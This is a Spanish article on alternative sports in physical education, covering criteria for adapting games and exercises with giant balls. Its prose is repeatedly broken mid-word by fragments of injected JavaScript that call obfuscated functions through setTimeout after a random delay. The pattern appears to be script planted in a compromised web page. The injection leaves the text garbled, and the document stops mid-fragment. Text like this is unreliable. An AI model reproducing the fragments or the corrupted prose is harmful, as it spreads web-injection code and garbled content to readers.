DEPORTES ALTERNATIVOS EN LA EDUCACIÓN FÍSICA

Autora: Carolina Nieto Muñoz

         Los deportes alternativos se practican sin reglas particulares, no estandom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andarizadas, fáciles de comprender y acordadas por los propios participantes, lo realmente importante es su carácter lúdico y esta es la principal razón de su popularidad.


         Los criterios para la adaptación de los deportes alternativos son:

-         Variar las reglas en función de las características de los participantes.

-         Promover la participación del mayor número de personas.

-         Promover la participación de todos los jugadores en juego.

-         Establecer la participación de equipos mixtos evitandom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}ando el sexualismo de otros deportes.

-         Evitar la especialización de funciones: hay que jugar defendiendo y atacandom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}ando e incluso sacar al portero de la portería.


-          Evitar toso tipo de contacto corporal brusco.

-         Destacar la habilidad sobre los factores físicos.

-         Simplificar las normas del juego para aprender más fácilmente a jugar.

-         Adaptarlo a cualquier espacio por impensable que sea.

-         Reducir los espacios muertos al máximo para que no cese la actividad.

-         Determinar la duración del juego en función de las características de los participantes.

         En definitiva, se trata de practicar un deporte adaptado a las características de sus participantes, recuperandom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}ando la diversión perdida en ciertos deportes por una demandom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}anda física y estrés emocional excesivo.


         Algunos deportes alternativos son:

-         BALONES ALTERNATIVOS.

-         BALONKORF.

-         DISCO VOLADOR O FRISBEE.

1)     BALONES GIGANTES:

         Los balones gigantes tienen múltiples aplicaciones: se utilizan en programas recreativos por la gran diversidad de juegos que sugieren, en los gimnasios para realizar ejercicios de mantenimiento y refuerzo muscular…

         El balón gigante tiene un atractivo especial por lo inusual de su tamaño, volumen, consistencia, flexibilidad y colorido. En cuanto alguien lo ve le llama la curiosidad de tocarlo, agarrarlo, moverlo, golpearlo y subirse encima de él.


          Para su manejo hay que prestar las ayudas precisas y adaptar el tamaño del balón a la edad de los participantes y al tipo de juego.

EJERCICIOS DE MANTENIMIENTO FÍSICO:

-         Sentados sobre el balón y con las manos apoyadas elevar las piernas alternativamente.

-         Igual con los brazos en cruz.

-         Sentados sobre el balón con los brazos en cruz hacer torsiones del tronco.

-         Tumbados con las piernas flexionadas y los pies apoyados en el balón, extender las piernas y elevar la cadera del suelo.

-         Apoyandom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}